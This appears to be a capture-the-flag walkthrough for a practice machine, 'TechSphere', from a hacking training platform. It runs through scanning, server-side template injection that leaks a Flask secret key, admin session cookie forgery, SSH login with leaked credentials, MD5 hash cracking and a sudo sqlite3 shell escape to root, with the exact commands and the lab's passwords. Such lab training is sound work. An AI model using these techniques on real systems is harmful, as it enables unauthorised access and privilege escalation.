A mysterious corporate application called TechSphere has caught your attention. 🕵️ Behind its professional facade lies a complex security landscape waiting to be explored. This multi-layered penetration testing scenario will challenge your reconnaissance skills, exploitation techniques, and system analysis capabilities. 💻 Are you ready to navigate through the corporate security infrastructure and demonstrate your expertise? 🏆
Launch your dedicated AWS machine to begin hacking
Begin by scanning the target system to identify available services and potential attack vectors:
nmap -sC -sV -Pn <target-ip>The scan reveals the following services:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0 (protocol 2.0)
80/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.11)
|_http-title: TechSphere Innovations
|_http-server-header: Werkzeug/3.1.3 Python/3.12.11Key Findings:
Navigate to http://<target-ip> to access the TechSphere web application. You'll see a corporate portal with registration and login functionality.
Click on "Get Started" or "Register" to create a new account:
Complete the registration process to create your account.
After registration, login with your credentials to access the user dashboard. This step is crucial as it provides you with a valid session cookie that you'll need for later exploitation.
Once logged in, you'll see several features:
Use directory busting to discover hidden endpoints that aren't visible in the main navigation:
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txtThis reveals several important endpoints:
/member_login - Alternative login interface/welcome - Welcome page with user parameter/sshadmin - SSH administration panel (requires admin access)Navigate to http://<target-ip>/member_login. This page presents a different login interface with a username field.
Enter a basic SSTI payload in the username field:
{{7*7}}Submit the form and observe that you're redirected to /welcome with your input reflected. If the page displays "49" instead of "{{7*7}}", you've confirmed SSTI vulnerability.
Use an advanced SSTI payload to extract Flask application configuration:
{{config.items()}}This payload reveals sensitive configuration information including the Flask SECRET_KEY:
Open browser Developer Tools (F12) and navigate to the Application/Storage tab. Locate the session cookie (usually named "session") and copy its value.
Use flask-unsign to decode your current session cookie and understand its structure:
flask-unsign --decode --cookie "your_session_cookie_here" --secret "evjcLayPlvdm1UAuNZqpZeVVyyJzYKB5cpLFvUbNMv6FeEYQM4"This reveals the current session structure, typically showing your user role as "user".
Create a new session cookie with administrative privileges:
flask-unsign --sign --secret "evjcLayPlvdm1UAuNZqpZeVVyyJzYKB5cpLFvUbNMv6FeEYQM4" --cookie '{"role": "admin", "user": "admin"}'In the browser Developer Tools:
With your forged admin cookie, navigate to http://<target-ip>/sshadmin. You should now have access to the SSH administration panel that displays a list of SSH credentials for users devadmin0 through devadmin24.
The panel reveals multiple SSH credentials, but only one is valid:
Use the discovered credentials to connect to the target system:
ssh devadmin14@<target-ip>When prompted, enter the password: secureADMINpass001
Once connected, explore the home directory and retrieve the user flag:
ls -la /home/devadmin14/
cat /home/devadmin14/flag-user.txtExamine the devadmin14 home directory for additional files:
ls -la /home/devadmin14/
cat /home/devadmin14/db_config.iniThis reveals database credentials:
Use the discovered credentials to switch to the sqluser account:
su sqluserEnter the password: sqlpass123
Locate and access the SQLite database:
find / -name "*.db" 2>/dev/null
sqlite3 /opt/database/database.dbWithin the SQLite prompt, explore the database structure:
.tables
.schema oldcreds
SELECT * FROM oldcreds;This reveals several user password hashes, including:
Focus on the sqladmin user hash:
SELECT * FROM oldcreds WHERE user='sqladmin';The hash appears to be MD5 (32 characters, hexadecimal). Verify using hash identification tools if needed:
echo "6e70d06760276024943e0ec1339ef527" | hashidUse hashcat to crack the MD5 hash:
echo "6e70d06760276024943e0ec1339ef527" > sqladmin_hash.txt
hashcat -m 0 -a 0 sqladmin_hash.txt /usr/share/wordlists/rockyou.txtThe cracked password is: sqlvb60foxpro
Use the cracked password to switch to the sqladmin account:
su sqladminEnter the password: sqlvb60foxpro
Examine what sudo privileges the sqladmin user has:
sudo -lThis reveals that sqladmin can run sqlite3 with sudo privileges:
sqladmin ALL=(ALL) NOPASSWD: /usr/bin/sqlite3 /opt/database/database.dbUse the sudo sqlite3 permission to escalate privileges:
sudo sqlite3 /opt/database/database.dbWithin the SQLite prompt, use the shell escape feature:
.shell /bin/shConfirm you have root privileges:
whoami
id
ls -la /root/Access and retrieve the root flag:
cat /root/flag-root.txtChoose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email